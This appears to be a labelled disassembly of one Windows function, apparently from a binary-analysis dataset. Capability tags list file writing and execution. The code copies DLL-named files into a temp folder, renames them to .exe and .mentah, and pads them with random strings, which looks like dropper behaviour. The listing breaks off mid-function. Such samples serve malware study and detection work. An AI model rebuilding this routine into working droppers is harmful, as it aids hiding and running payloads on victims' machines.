Function at 0x401580
Capabilities:
Copy file
Create directory
Create process on windows
Delete directory
Execute command
Get common file path
Move file
Resolve function by parsing pe exports
Set console window title
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40687f
mov eax, dword fs:[0]
push eax
sub esp, 0x3d0
mov eax, dword [0x40a018]
xor eax, esp
mov dword [esp + 0x3c8], eax
push ebx
push esi
push edi
mov eax, dword [0x40a018]
xor eax, esp
push eax
lea eax, [esp + 0x3e0]
mov dword fs:[0], eax
xor ebx, ebx
push 0x4072ac
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x40
push 0xfa
push 0xfa
push 1
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x7d
push eax
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x7d
push eax
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
lea eax, [esp + 0x9c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov ecx, dword [esp + 0xaa]
mov edx, dword [esp + 0xac]
sub ecx, dword [esp + 0xa6]
sub edx, dword [esp + 0xa8]
inc ecx
inc edx
mov word [esp + 0x14], cx
mov word [esp + 0x16], dx
mov eax, dword [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
call edi
mov esi, eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfffeffff
push eax
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
lea edi, [ebx + 0xc]
mov eax, str.msvcf100.dll
lea esi, [esp + 0xd4]
mov dword [esp + 0xe8], 0xf
mov dword [esp + 0xe4], ebx
mov byte [esp + 0xd4], bl
call fcn.004048d0
mov dword [esp + 0x3e8], ebx
mov ecx, esi
mov ebx, 1
push ecx
mov dword [esp + 0x18], ebx
call fcn.004013e0
add esp, 4
test al, al
je 0x401714
mov eax, str.msvct100.dll
lea esi, [esp + 0x9c]
mov dword [esp + 0xb0], 0xf
mov dword [esp + 0xac], 0
mov byte [esp + 0x9c], 0
call fcn.004048d0
mov dword [esp + 0x3e8], ebx
mov edx, esi
mov ebx, 3
push edx
mov dword [esp + 0x18], ebx
call fcn.004013e0
add esp, 4
mov byte [esp + 0x1b], 1
test al, al
jne 0x401719
mov byte [esp + 0x1b], 0
test bl, 2
je 0x40175a
and ebx, 0xfffffffd
cmp dword [esp + 0xb0], 0x10
jb 0x40173c
mov eax, dword [esp + 0x9c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xb0], 0xf
mov dword [esp + 0xac], 0
mov byte [esp + 0x9c], 0
mov dword [esp + 0x3e8], 0xffffffff
test bl, 1
je 0x401785
cmp dword [esp + 0xe8], 0x10
jb 0x401785
mov ecx, dword [esp + 0xd4]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp byte [esp + 0x1b], 0
je 0x403323
lea edx, [esp + 0x2cc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x2cc]
mov dword [esp + 0x2c4], 0xf
mov dword [esp + 0x2c0], 0
mov byte [esp + 0x2b0], 0
lea edx, [eax + 1]
jmp 0x4017d0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017d0
sub eax, edx
mov edi, eax
lea eax, [esp + 0x2cc]
lea esi, [esp + 0x2b0]
call fcn.004048d0
mov eax, esi
push eax
lea ecx, [esp + 0x110]
push ecx
mov dword [esp + 0x3f0], 2
call fcn.00404c00
add esp, 8
xor ebx, ebx
mov byte [esp + 0x3e8], 3
lea edi, [ebx + 1]
mov eax, 0x4073c4
lea esi, [esp + 0x128]
mov dword [esp + 0x13c], 0xf
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
call fcn.004048d0
mov byte [esp + 0x3e8], 4
mov esi, dword [esp + 0x10c]
mov edi, 0x10
cmp dword [esp + 0x120], edi
jae 0x401867
lea esi, [esp + 0x10c]
call fcn.00401340
mov eax, dword [esp + 0x10c]
cmp dword [esp + 0x120], edi
jae 0x401883
lea eax, [esp + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov eax, dword [esp + 0x10c]
cmp dword [esp + 0x120], edi
jae 0x4018a1
lea eax, [esp + 0x10c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea edx, [esp + 0x128]
push edx
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0xdc]
push ecx
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcf100.dll
lea ecx, [esp + 0x1b8]
mov byte [esp + 0x3ec], 5
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 7
mov esi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
cmp dword [esp + 0xe8], edi
jb 0x40190a
mov edx, dword [esp + 0xd4]
push edx
call esi
add esp, 4
lea eax, [esp + 0x128]
push eax
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0xa4]
push edx
mov dword [esp + 0xf4], 0xf
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvct100.dll
lea ecx, [esp + 0x164]
mov byte [esp + 0x3ec], 8
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0xa
cmp dword [esp + 0xb0], edi
jb 0x40197f
mov eax, dword [esp + 0x9c]
push eax
call esi
add esp, 4
lea ecx, [esp + 0x128]
push ecx
lea edx, [esp + 0x110]
push edx
lea eax, [esp + 0xdc]
push eax
mov dword [esp + 0xbc], 0xf
mov dword [esp + 0xb8], ebx
mov byte [esp + 0xa8], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcf100.mentah
lea ecx, [esp + 0x180]
mov byte [esp + 0x3ec], 0xb
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0xd
cmp dword [esp + 0xe8], edi
jb 0x4019f4
mov ecx, dword [esp + 0xd4]
push ecx
call esi
add esp, 4
lea edx, [esp + 0x128]
push edx
lea eax, [esp + 0x110]
push eax
lea ecx, [esp + 0xa4]
push ecx
mov dword [esp + 0xf4], 0xf
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvcf100.exe
lea ecx, [esp + 0x19c]
mov byte [esp + 0x3ec], 0xe
call fcn.00404cc0
add esp, 4
mov byte [esp + 0x3e8], 0x10
cmp dword [esp + 0xb0], edi
jb 0x401a69
mov edx, dword [esp + 0x9c]
push edx
call esi
add esp, 4
lea eax, [esp + 0x128]
push eax
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x248]
push edx
mov dword [esp + 0xbc], 0xf
mov dword [esp + 0xb8], ebx
mov byte [esp + 0xa8], 0
call fcn.00404d10
add esp, 0xc
push eax
mov eax, str.msvct100.mentah
lea ecx, [esp + 0x148]
mov byte [esp + 0x3ec], 0x11
call fcn.00404cc0
add esp, 4
cmp dword [esp + 0x254], edi
jb 0x401ad6
mov eax, dword [esp + 0x240]
push eax
call esi
add esp, 4
mov eax, dword [esp + 0x1b4]
cmp dword [esp + 0x1c8], edi
jae 0x401aed
lea eax, [esp + 0x1b4]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push eax
push str.msvcf100.dll
call esi
mov eax, dword [esp + 0x160]
cmp dword [esp + 0x174], edi
jae 0x401b13
lea eax, [esp + 0x160]
push ebx
push eax
push str.msvct100.dll
call esi
mov ecx, dword [esp + 0x17c]
cmp dword [esp + 0x190], edi
jae 0x401b33
lea ecx, [esp + 0x17c]
mov eax, dword [esp + 0x1b4]
cmp dword [esp + 0x1c8], edi
jae 0x401b4a
lea eax, [esp + 0x1b4]
mov esi, dword [sym.imp.MSVCR100.dll_rename]
push ecx
push eax
call esi
mov ecx, dword [esp + 0x14c]
add esp, 8
cmp dword [esp + 0x158], edi
jae 0x401b6e
lea ecx, [esp + 0x144]
mov eax, dword [esp + 0x160]
cmp dword [esp + 0x174], edi
jae 0x401b85
lea eax, [esp + 0x160]
push ecx
push eax
call esi
add esp, 8
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x17c]
cmp dword [esp + 0x190], edi
jae 0x401bae
lea eax, [esp + 0x17c]
mov esi, dword [sym.imp.MSVCR100.dll_fopen]
push 0x4073d8
push eax
call esi
add esp, 8
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x144]
cmp dword [esp + 0x158], edi
jae 0x401bda
lea eax, [esp + 0x144]
push 0x4073d8
push eax
call esi
push ebx
mov dword [esp + 0x28], eax
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 0xc
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
mov dword [esp + 0x254], 0xf
mov dword [esp + 0x250], ebx
mov byte [esp + 0x240], 0
mov byte [esp + 0x3e8], 0x14
xor edi, edi
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
xor esi, esi
call ebx
cdq
mov ecx, 0x64
idiv ecx
inc edx
cmp edx, 0x32
jl 0x401c3b
cmp edx, 0x5a
jle 0x401c42
inc esi
cmp esi, ecx
jl 0x401c26
jmp 0x401c46
mov dword [esp + 0x14], edx
cmp edi, dword [esp + 0x14]
jae 0x401c7b
call dword [sym.imp.MSVCR100.dll_rand]
xor edx, edx
mov ecx, 0x47
div ecx
mov ecx, 0x46
lea esi, [esp + 0x240]
mov eax, edx
xor edx, edx
div ecx
mov bl, byte [edx + 0x4072b9]
call fcn.004033c0
inc edi
jmp 0x401c1e
xor edi, edi
mov dword [esp + 0x94], 0xf
mov dword [esp + 0x90], edi
mov byte [esp + 0x80], 0
mov byte [esp + 0x3e8], 0x15
nop
xor esi, esi
call ebx
cdq
mov ecx, 0x64
idiv ecx
inc edx
cmp edx, 0xa
jl 0x401cb7
cmp edx, 0x32
jle 0x401cbe
inc esi
cmp esi, ecx
jl 0x401ca2
jmp 0x401cc2
mov dword [esp + 0x14], edx
cmp edi, dword [esp + 0x14]
jae 0x401daa
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x90]
mov bl, byte [edx + 0x407329]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401d9f
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401d9f
mov ecx, dword [esp + 0x94]
cmp ecx, esi
jae 0x401d72
push eax
push esi
lea eax, [esp + 0x88]
push eax
call fcn.004049a0
mov ecx, dword [esp + 0x94]
mov eax, dword [esp + 0x90]
test esi, esi
je 0x401d66
cmp ecx, 0x10
mov ecx, dword [esp + 0x80]
jae 0x401d40
lea ecx, [esp + 0x80]
mov byte [ecx + eax], bl
cmp dword [esp + 0x94], 0x10
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], esi
jae 0x401d62
lea eax, [esp + 0x80]
mov byte [eax + esi], 0
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
inc edi
jmp 0x401ca0
test esi, esi
jne 0x401d2d
mov eax, dword [esp + 0x80]
mov dword [esp + 0x90], esi
cmp ecx, 0x10
jae 0x401d90
lea eax, [esp + 0x80]
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
mov byte [eax], 0
inc edi
jmp 0x401ca0
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
xor edi, edi
mov dword [esp + 0xcc], 0xf
mov dword [esp + 0xc8], edi
mov byte [esp + 0xb8], 0
mov byte [esp + 0x3e8], 0x16
mov edi, edi
xor esi, esi
call ebx
cdq
mov ecx, 0x64
idiv ecx
inc edx
cmp edx, 0x3c
jl 0x401de6
cmp edx, ecx
jle 0x401ded
inc esi
cmp esi, ecx
jl 0x401dd2
jmp 0x401df1
mov dword [esp + 0x14], edx
cmp edi, dword [esp + 0x14]
jae 0x401ece
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0xc8]
mov bl, byte [edx + 0x407335]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401d9f
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401d9f
mov ecx, dword [esp + 0xcc]
cmp ecx, esi
jae 0x401ea1
push eax
push esi
lea eax, [esp + 0xc0]
push eax
call fcn.004049a0
mov ecx, dword [esp + 0xcc]
mov eax, dword [esp + 0xc8]
test esi, esi
je 0x401e95
cmp ecx, 0x10
mov ecx, dword [esp + 0xb8]
jae 0x401e6f
lea ecx, [esp + 0xb8]
mov byte [ecx + eax], bl
cmp dword [esp + 0xcc], 0x10
mov eax, dword [esp + 0xb8]
mov dword [esp + 0xc8], esi
jae 0x401e91
lea eax, [esp + 0xb8]
mov byte [eax + esi], 0
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
inc edi
jmp 0x401dd0
test esi, esi
jne 0x401e5c
mov eax, dword [esp + 0xb8]
mov dword [esp + 0xc8], esi
cmp ecx, 0x10
jae 0x401ebf
lea eax, [esp + 0xb8]
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
mov byte [eax], 0
inc edi
jmp 0x401dd0
xor edi, edi
mov dword [esp + 0x78], 0xf
mov dword [esp + 0x74], edi
mov byte [esp + 0x64], 0
mov byte [esp + 0x3e8], 0x17
lea esp, [esp]
xor esi, esi
call ebx
cdq
mov ecx, 0x64
idiv ecx
inc edx
cmp edx, 0x28
jl 0x401f07
cmp edx, 0x50
jle 0x401f0e
inc esi
cmp esi, ecx
jl 0x401ef2
jmp 0x401f12
mov dword [esp + 0x14], edx
cmp edi, dword [esp + 0x14]
jae 0x401fc5
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x74]
mov bl, byte [edx + 0x407351]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401d9f
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401d9f
mov ecx, dword [esp + 0x78]
cmp ecx, esi
jae 0x401fa1
push eax
push esi
lea eax, [esp + 0x6c]
push eax
call fcn.004049a0
mov ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x74]
test esi, esi
je 0x401f95
cmp ecx, 0x10
mov ecx, dword [esp + 0x64]
jae 0x401f7b
lea ecx, [esp + 0x64]
mov byte [eax + ecx], bl
cmp dword [esp + 0x78], 0x10
mov eax, dword [esp + 0x64]
mov dword [esp + 0x74], esi
jae 0x401f91
lea eax, [esp + 0x64]
mov byte [esi + eax], 0
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
inc edi
jmp 0x401ef0
test esi, esi
jne 0x401f6e
mov eax, dword [esp + 0x64]
mov dword [esp + 0x74], esi
cmp ecx, 0x10
jae 0x401fb6
lea eax, [esp + 0x64]
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
mov byte [eax], 0
inc edi
jmp 0x401ef0
xor edi, edi
mov dword [esp + 0x5c], 0xf
mov dword [esp + 0x58], edi
mov byte [esp + 0x48], 0
mov byte [esp + 0x3e8], 0x18
xor esi, esi
call ebx
cdq
mov ecx, 0x64
idiv ecx
inc edx
cmp edx, 0x28
jl 0x401ff6
cmp edx, ecx
jle 0x401ffd
inc esi
cmp esi, ecx
jl 0x401fe2
jmp 0x402001
mov dword [esp + 0x14], edx
cmp edi, dword [esp + 0x14]
jae 0x4020b4
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x58]
mov bl, byte [edx + 0x407375]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401d9f
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401d9f
mov ecx, dword [esp + 0x5c]
cmp ecx, esi
jae 0x402090
push eax
push esi
lea eax, [esp + 0x50]
push eax
call fcn.004049a0
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
test esi, esi
je 0x402084
cmp ecx, 0x10
mov ecx, dword [esp + 0x48]
jae 0x40206a
lea ecx, [esp + 0x48]
mov byte [eax + ecx], bl
cmp dword [esp + 0x5c], 0x10
mov eax, dword [esp + 0x48]
mov dword [esp + 0x58], esi
jae 0x402080
lea eax, [esp + 0x48]
mov byte [esi + eax], 0
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
inc edi
jmp 0x401fe0
test esi, esi
jne 0x40205d
mov eax, dword [esp + 0x48]
mov dword [esp + 0x58], esi
cmp ecx, 0x10
jae 0x4020a5
lea eax, [esp + 0x48]
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
mov byte [eax], 0
inc edi
jmp 0x401fe0
xor edi, edi
mov dword [esp + 0x40], 0xf
mov dword [esp + 0x3c], edi
mov byte [esp + 0x2c], 0
mov byte [esp + 0x3e8], 0x19
nop
xor esi, esi
call ebx
cdq
mov ecx, 0x64
idiv ecx
inc edx
cmp edx, 0x3c
jl 0x4020e7
cmp edx, 0x46
jle 0x4020ee
inc esi
cmp esi, ecx
jl 0x4020d2
jmp 0x4020f2
mov dword [esp + 0x14], edx
cmp edi, dword [esp + 0x14]
jae 0x4021a5
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x3c]
mov bl, byte [edx + 0x407395]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401d9f
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401d9f
mov ecx, dword [esp + 0x40]
cmp ecx, esi
jae 0x402181
push eax
push esi
lea eax, [esp + 0x34]
push eax
call fcn.004049a0
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x3c]
test esi, esi
je 0x402175
cmp ecx, 0x10
mov ecx, dword [esp + 0x2c]
jae 0x40215b
lea ecx, [esp + 0x2c]
mov byte [ecx + eax], bl
cmp dword [esp + 0x40], 0x10
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x3c], esi
jae 0x402171
lea eax, [esp + 0x2c]
mov byte [eax + esi], 0
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
inc edi
jmp 0x4020d0
test esi, esi
jne 0x40214e
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x3c], esi
cmp ecx, 0x10
jae 0x402196
lea eax, [esp + 0x2c]
mov ebx, dword [sym.imp.MSVCR100.dll_rand]
mov byte [eax], 0
inc edi
jmp 0x4020d0
xor edi, edi
mov dword [esp + 0x104], 0xf
mov dword [esp + 0x100], edi
mov byte [esp + 0xf0], 0
push edi
mov byte [esp + 0x3ec], 0x1a
call dword [sym.imp.MSVCR100.dll__time64]
lea ecx, [esp + 0x28]
add esp, 4
push ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
call dword [sym.imp.MSVCR100.dll__localtime64]
add esp, 4
push 0x100
mov esi, eax
call fcn.0040596f
mov edx, dword [esi + 0x14]
mov ecx, dword [esi + 0xc]
add esp, 4
mov ebx, eax
mov eax, dword [esi + 0x10]
add edx, 0x76c
push edx
inc eax
push eax
push ecx
push str._02d:_02d:_02d
push ebx
call dword [sym.imp.MSVCR100.dll_sprintf]
sub esp, 8
mov dword [esp + 0x3c], esp
mov dword [esp + 0x30], esp
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x10], edi
mov eax, ebx
mov dword [esi + 0x14], 0xf
mov dword [esp + 0x58], esp
mov byte [esi], 0
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402240
sub eax, edi
mov edi, eax
mov eax, ebx
call fcn.004048d0
mov edi, dword [esp + 0x4c]
call fcn.00405830
add esp, 0x1c
lea edi, [esp + 0x2b0]
call fcn.00405830
add esp, 0x1c
mov esi, eax
lea edx, [esp + 0xf0]
cmp edx, esi
je 0x4022fc
mov ebx, 0x10
cmp dword [esp + 0x104], ebx
jb 0x40229d
mov eax, dword [esp + 0xf0]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor edi, edi
mov dword [esp + 0x104], 0xf
mov dword [esp + 0x100], edi
mov byte [esp + 0xf0], 0
cmp dword [esi + 0x14], ebx
jae 0x4022d7
mov eax, dword [esi + 0x10]
inc eax
push eax
lea ecx, [esp + 0xf4]
push esi
push ecx
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
jmp 0x4022e2
mov edx, dword [esi]
mov dword [esp + 0xf0], edx
mov dword [esi], edi
mov eax, dword [esi + 0x10]
mov dword [esp + 0x100], eax
mov ecx, dword [esi + 0x14]
mov dword [esp + 0x104], ecx
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov byte [esp + 0x3e8], 0x1a
cmp dword [esp + 0x2a8], 0x10
jb 0x40231f
mov edx, dword [esp + 0x294]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.MSVCR100.dll_fseek]
push 2
push 0
push esi
call edi
mov ebx, dword [esp + 0x110]
mov eax, dword [esp + 0xfc]
add esp, 0xc
cmp ebx, 0x10
jae 0x40234d
lea eax, [esp + 0xf0]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402350
sub eax, ecx
mov ecx, dword [esp + 0xf0]
cmp ebx, 0x10
jae 0x40236c
lea ecx, [esp + 0xf0]
mov ebx, dword [sym.imp.MSVCR100.dll_fwrite]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0xb0]
mov eax, dword [esp + 0x9c]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40239d
lea eax, [esp + 0x80]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4023a4
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x80]
jae 0x4023c2
lea ecx, [esp + 0x80]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0xe8]
mov eax, dword [esp + 0xd4]
add esp, 0x1c
cmp ecx, 0x10
jae 0x4023ed
lea eax, [esp + 0xb8]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4023f4
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0xb8]
jae 0x402412
lea ecx, [esp + 0xb8]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x94]
mov eax, dword [esp + 0x80]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40243a
lea eax, [esp + 0x64]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402441
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x64]
jae 0x402459
lea ecx, [esp + 0x64]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x64]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40247b
lea eax, [esp + 0x48]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402482
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x48]
jae 0x40249a
lea ecx, [esp + 0x48]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x48]
add esp, 0x1c
cmp ecx, 0x10
jae 0x4024bc
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4024c3
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x2c]
jae 0x4024db
lea ecx, [esp + 0x2c]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
add esp, 0x1c
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x4c]
mov eax, dword [esp + 0x38]
add esp, 0xc
cmp ecx, 0x10
jae 0x402507
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402510
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x2c]
jae 0x402528
lea ecx, [esp + 0x2c]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x64]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40254a
lea eax, [esp + 0x48]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402551
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x48]
jae 0x402569
lea ecx, [esp + 0x48]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x94]
mov eax, dword [esp + 0x80]
add esp, 0x1c
cmp ecx, 0x10
jae 0x402591
lea eax, [esp + 0x64]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402598
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x64]
jae 0x4025b0
lea ecx, [esp + 0x64]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0xe8]
mov eax, dword [esp + 0xd4]
add esp, 0x1c
cmp ecx, 0x10
jae 0x4025db
lea eax, [esp + 0xb8]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4025e2
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0xb8]
jae 0x402600
lea ecx, [esp + 0xb8]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0xb0]
mov eax, dword [esp + 0x9c]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40262b
lea eax, [esp + 0x80]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402632
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x80]
jae 0x402650
lea ecx, [esp + 0x80]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0xb0]
mov eax, dword [esp + 0x9c]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40267b
lea eax, [esp + 0x80]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402682
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x80]
jae 0x4026a0
lea ecx, [esp + 0x80]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0xe8]
mov eax, dword [esp + 0xd4]
add esp, 0x1c
cmp ecx, 0x10
jae 0x4026cb
lea eax, [esp + 0xb8]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4026d2
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0xb8]
jae 0x4026f0
lea ecx, [esp + 0xb8]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x94]
mov eax, dword [esp + 0x80]
add esp, 0x1c
cmp ecx, 0x10
jae 0x402718
lea eax, [esp + 0x64]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402720
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x64]
jae 0x402738
lea ecx, [esp + 0x64]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x78]
mov eax, dword [esp + 0x64]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40275a
lea eax, [esp + 0x48]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402761
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x48]
jae 0x402779
lea ecx, [esp + 0x48]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x48]
add esp, 0x1c
cmp ecx, 0x10
jae 0x40279b
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4027a2
sub eax, dword [esp + 0x10]
cmp ecx, 0x10
mov ecx, dword [esp + 0x2c]
jae 0x4027ba
lea ecx, [esp + 0x2c]
push esi
push 1
push eax
push ecx
call ebx
push 2
push 0
push esi
call edi
mov ecx, dword [esp + 0x120]
